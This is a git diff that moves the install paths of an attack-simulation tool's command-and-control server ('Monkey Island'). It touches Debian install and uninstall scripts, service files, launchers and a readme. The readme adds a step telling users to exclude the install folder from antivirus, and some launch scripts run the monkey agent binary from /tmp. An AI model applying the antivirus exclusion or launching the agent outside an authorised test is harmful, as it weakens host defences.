monkey/monkey_island/deb-package/DEBIAN/control diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst new file mode 100644 index 000000000..b55f791b8 --- /dev/null +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -0,0 +1,34 @@ +#!/bin/bash + +MONKEY_FOLDER=/var/monkey +INSTALLATION_FOLDER=/var/monkey/monkey_island/installation +PYTHON_FOLDER=/var/monkey/monkey_island/bin/python + +# Prepare python virtualenv +pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER +virtualenv -p python2.7 ${PYTHON_FOLDER} + +# install pip requirements +${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER + +# remove installation folder and unnecessary files +rm -rf ${INSTALLATION_FOLDER} +rm -f ${MONKEY_FOLDER}/monkey_island/pip_requirements.txt + +cp ${MONKEY_FOLDER}/monkey_island/ubuntu/* /etc/init/ +if [ -d "/etc/systemd/network" ]; then + cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/ + chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh + systemctl daemon-reload + systemctl enable monkey-mongo + systemctl enable monkey-island +fi + +${MONKEY_FOLDER}/monkey_island/create_certificate.sh + +service monkey-island start +service monkey-mongo start + +echo Monkey Island installation ended + +exit 0 \ No newline at end of file diff --git a/monkey_island/deb-package/DEBIAN/prerm b/monkey/monkey_island/deb-package/DEBIAN/prerm similarity index 91% rename from monkey_island/deb-package/DEBIAN/prerm rename to monkey/monkey_island/deb-package/DEBIAN/prerm index 98557e487..69070adaf 100644 --- a/monkey_island/deb-package/DEBIAN/prerm +++ b/monkey/monkey_island/deb-package/DEBIAN/prerm @@ -8,6 +8,6 @@ rm -f /etc/init/monkey-mongo.conf [ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service [ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service -rm -r -f /var/monkey_island +rm -r -f /var/monkey exit 0 \ No newline at end of file diff --git a/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt similarity index 100% rename from monkey_island/deb-package/monkey_island_pip_requirements.txt rename to monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt diff --git a/monkey_island/linux/clear_db.sh b/monkey/monkey_island/linux/clear_db.sh similarity index 73% rename from monkey_island/linux/clear_db.sh rename to monkey/monkey_island/linux/clear_db.sh index d6839ed2a..7ec819cd5 100644 --- a/monkey_island/linux/clear_db.sh +++ b/monkey/monkey_island/linux/clear_db.sh @@ -1,6 +1,6 @@ #!/bin/bash service monkey-mongo stop -cd /var/monkey_island +cd /var/monkey/monkey_island rm -rf ./db/* service monkey-mongo start diff --git a/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh similarity index 90% rename from monkey_island/linux/create_certificate.sh rename to monkey/monkey_island/linux/create_certificate.sh index 32fa9756d..477440a6f 100644 --- a/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -1,6 +1,6 @@ #!/bin/bash -cd /var/monkey_island +cd /var/monkey/monkey_island openssl genrsa -out cc/server.key 1024 openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt diff --git a/monkey_island/linux/install.sh b/monkey/monkey_island/linux/install.sh similarity index 77% rename from monkey_island/linux/install.sh rename to monkey/monkey_island/linux/install.sh index f230b58d2..d4ebfedbe 100644 --- a/monkey_island/linux/install.sh +++ b/monkey/monkey_island/linux/install.sh @@ -10,5 +10,5 @@ else fi MONKEY_FILE=monkey-linux-$ARCH -cp -f /var/monkey_island/cc/binaries/$MONKEY_FILE /tmp +cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp /tmp/$MONKEY_FILE m0nk3y $@ diff --git a/monkey_island/linux/monkey.sh b/monkey/monkey_island/linux/monkey.sh similarity index 77% rename from monkey_island/linux/monkey.sh rename to monkey/monkey_island/linux/monkey.sh index f230b58d2..d4ebfedbe 100644 --- a/monkey_island/linux/monkey.sh +++ b/monkey/monkey_island/linux/monkey.sh @@ -10,5 +10,5 @@ else fi MONKEY_FILE=monkey-linux-$ARCH -cp -f /var/monkey_island/cc/binaries/$MONKEY_FILE /tmp +cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp /tmp/$MONKEY_FILE m0nk3y $@ diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh new file mode 100644 index 000000000..6770e2922 --- /dev/null +++ b/monkey/monkey_island/linux/run.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +cd /var/monkey +/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & +/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file diff --git a/monkey_island/linux/ubuntu/monkey-island.conf b/monkey/monkey_island/linux/ubuntu/monkey-island.conf similarity index 76% rename from monkey_island/linux/ubuntu/monkey-island.conf rename to monkey/monkey_island/linux/ubuntu/monkey-island.conf index 360559b31..1ded4d94a 100644 --- a/monkey_island/linux/ubuntu/monkey-island.conf +++ b/monkey/monkey_island/linux/ubuntu/monkey-island.conf @@ -7,8 +7,8 @@ respawn respawn limit unlimited script - chdir /var/monkey_island/cc - exec python main.py + chdir /var/monkey + exec python monkey_island/cc/main.py end script post-stop script diff --git a/monkey_island/linux/ubuntu/monkey-mongo.conf b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf similarity index 67% rename from monkey_island/linux/ubuntu/monkey-mongo.conf rename to monkey/monkey_island/linux/ubuntu/monkey-mongo.conf index df9145014..cd148d877 100644 --- a/monkey_island/linux/ubuntu/monkey-mongo.conf +++ b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf @@ -7,8 +7,8 @@ respawn respawn limit unlimited script - chdir /var/monkey_island/ - exec /var/monkey_island/bin/mongodb/bin/mongod --dbpath db + chdir /var/monkey/monkey_island/ + exec /var/monkey/monkey_island/bin/mongodb/bin/mongod --dbpath db end script post-stop script diff --git a/monkey_island/linux/ubuntu/systemd/monkey-island.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service similarity index 56% rename from monkey_island/linux/ubuntu/systemd/monkey-island.service rename to monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service index 8868dc3aa..d66de2377 100644 --- a/monkey_island/linux/ubuntu/systemd/monkey-island.service +++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service @@ -5,7 +5,7 @@ After=network.target [Service] Type=simple -ExecStart=/var/monkey_island/ubuntu/systemd/start_server.sh +ExecStart=/var/monkey/monkey_island/ubuntu/systemd/start_server.sh [Install] WantedBy=multi-user.target \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service new file mode 100644 index 000000000..b786e0abb --- /dev/null +++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service @@ -0,0 +1,12 @@ +[Unit] +Description=Monkey Island Mongo Service +After=network.target + +[Service] +ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db +KillMode=process +Restart=always +ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown + +[Install] +WantedBy=multi-user.target \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh new file mode 100644 index 000000000..978e02fe5 --- /dev/null +++ b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh @@ -0,0 +1,4 @@ +#!/bin/bash + +cd /var/monkey +/var/monkey/monkey_island/bin/python/bin/python monkey_island.py \ No newline at end of file diff --git a/monkey_island/readme.txt b/monkey/monkey_island/readme.txt similarity index 93% rename from monkey_island/readme.txt rename to monkey/monkey_island/readme.txt index 320f5caa3..82deb43b6 100644 --- a/monkey_island/readme.txt +++ b/monkey/monkey_island/readme.txt @@ -1,6 +1,7 @@ How to set up the Monkey Island server: ---------------- On Windows ----------------: +0. Exclude the folder you are planning to install the Monkey in from your AV software, as it might block or delete files from the installation. 1. Create folder "bin" under monkey_island 2. Place portable version of Python 2.7 2.1. Download and install from: https://www.python.org/download/releases/2.7/ @@ -11,8 +12,9 @@ How to set up the Monkey Island server: 3. Place portable version of mongodb 3.1. Download from: https://downloads.mongodb.org/win32/mongodb-win32-x86_64-2008plus-ssl-latest.zip 3.2. Extract contents from bin folder to monkey_island\bin\mongodb. + 3.3. Create monkey_island\db folder. 4. Place portable version of OpenSSL - 4.1. Download from: https://indy.fulgan.com/SSL/openssl-1.0.2l-i386-win32.zip + 4.1. Download from: https://indy.fulgan.com/SSL/Archive/openssl-1.0.2l-i386-win32.zip 4.2. Extract content from bin folder to monkey_island\bin\openssl 5. Download and install Microsoft Visual C++ redistributable for Visual Studio 2017 5.1. Download and install from: https://go.microsoft.com/fwlink/?LinkId=746572 diff --git a/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt similarity index 100% rename from monkey_island/requirements.txt rename to monkey/monkey_island/requirements.txt diff --git a/monkey_island/windows/clear_db.bat b/monkey/monkey_island/windows/clear_db.bat similarity index 100% rename from monkey_island/windows/clear_db.bat rename to monkey/monkey_island/windows/clear_db.bat diff --git a/monkey_island/windows/copyShortcutOnDesktop.bat b/monkey/monkey_island/windows/copyShortcutOnDesktop.bat similarity index 100% rename from monkey_island/windows/copyShortcutOnDesktop.bat rename to monkey/monkey_island/windows/copyShortcutOnDesktop.bat diff --git a/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat similarity index 100% rename from monkey_island/windows/create_certificate.bat rename to monkey/monkey_island/windows/create_certificate.bat diff --git a/monkey_island/windows/openssl.cfg b/monkey/monkey_island/windows/openssl.cfg similarity index 100% rename from monkey_island/windows/openssl.cfg rename to monkey/monkey_island/windows/openssl.cfg diff --git a/monkey_island/windows/removeShortcutFromDesktop.bat b/monkey/monkey_island/windows/removeShortcutFromDesktop.bat similarity index 100% rename from monkey_island/windows/removeShortcutFromDesktop.bat rename to monkey/monkey_island/windows/removeShortcutFromDesktop.bat diff --git a/monkey/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat new file mode 100644 index 000000000..e86b5a145 --- /dev/null +++ b/monkey/monkey_island/windows/run_cc.bat @@ -0,0 +1,4 @@ +@title C^&C Server +@pushd .. +@monkey_island\bin\Python27\python monkey_island.py +@popd \ No newline at end of file diff --git a/monkey_island/windows/run_mongodb.bat b/monkey/monkey_island/windows/run_mongodb.bat similarity index 100% rename from monkey_island/windows/run_mongodb.bat rename to monkey/monkey_island/windows/run_mongodb.bat diff --git a/monkey_island/windows/run_server.bat b/monkey/monkey_island/windows/run_server.bat similarity index 100% rename from monkey_island/windows/run_server.bat rename to monkey/monkey_island/windows/run_server.bat diff --git a/monkey_island/deb-package/DEBIAN/postinst b/monkey_island/deb-package/DEBIAN/postinst deleted file mode 100644 index 3fa922a01..000000000 --- a/monkey_island/deb-package/DEBIAN/postinst +++ /dev/null @@ -1,37 +0,0 @@ -#!/bin/bash - -MONKEY_FOLDER=/var/monkey_island -INSTALLATION_FOLDER=/var/monkey_island/installation -PYTHON_FOLDER=/var/monkey_island/bin/python - -cp -f ${MONKEY_FOLDER}/monkey.sh /usr/bin/monkey -chmod 755 /usr/bin/monkey - -# Prepare python virtualenv -pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER -virtualenv -p python2.7 ${PYTHON_FOLDER} - -# install pip requirements -${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER - -# remove installation folder and unnecessary files -rm -rf ${INSTALLATION_FOLDER} -rm -f ${MONKEY_FOLDER}/pip_requirements.txt - -cp ${MONKEY_FOLDER}/ubuntu/* /etc/init/ -if [ -d "/etc/systemd/network" ]; then - cp ${MONKEY_FOLDER}/ubuntu/systemd/*.service /lib/systemd/system/ - chmod +x ${MONKEY_FOLDER}/ubuntu/systemd/start_server.sh - systemctl daemon-reload - systemctl enable monkey-mongo - systemctl enable monkey-island -fi - -${MONKEY_FOLDER}/create_certificate.sh - -service monkey-island start -service monkey-mongo start - -echo Monkey Island installation ended - -exit 0 \ No newline at end of file diff --git a/monkey_island/linux/run.sh b/monkey_island/linux/run.sh deleted file mode 100644 index 485d6eff1..000000000 --- a/monkey_island/linux/run.sh +++ /dev/null @@ -1,5 +0,0 @@ -#!/bin/bash - -cd /var/monkey_island/cc -/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db & -/var/monkey_island/bin/python/bin/python main.py \ No newline at end of file diff --git a/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey_island/linux/ubuntu/systemd/monkey-mongo.service deleted file mode 100644 index 6c1fee8f8..000000000 --- a/monkey_island/linux/ubuntu/systemd/monkey-mongo.service +++ /dev/null @@ -1,12 +0,0 @@ -[Unit] -Description=Monkey Island Mongo Service -After=network.target - -[Service] -ExecStart=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db -KillMode=process -Restart=always -ExecStop=/var/monkey_island/bin/mongodb/bin/mongod --shutdown - -[Install] -WantedBy=multi-user.target \ No newline at end of file diff --git a/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey_island/linux/ubuntu/systemd/start_server.sh deleted file mode 100644 index ceeab57f4..000000000 --- a/monkey_island/linux/ubuntu/systemd/start_server.sh +++ /dev/null @@ -1,4 +0,0 @@ -#!/bin/bash - -cd /var/monkey_island/cc -/var/monkey_island/bin/python/bin/python main.py \ No newline at end of file diff --git a/monkey_island/windows/run_cc.bat b/monkey_island/windows/run_cc.bat deleted file mode 100644 index c16c9fc6b..000000000 --- a/monkey_island/windows/run_cc.bat +++ /dev/null @@ -1,4 +0,0 @@ -@title C^&C Server -@pushd cc -@..\bin\Python27\python main.py -@popd \ No newline at end of file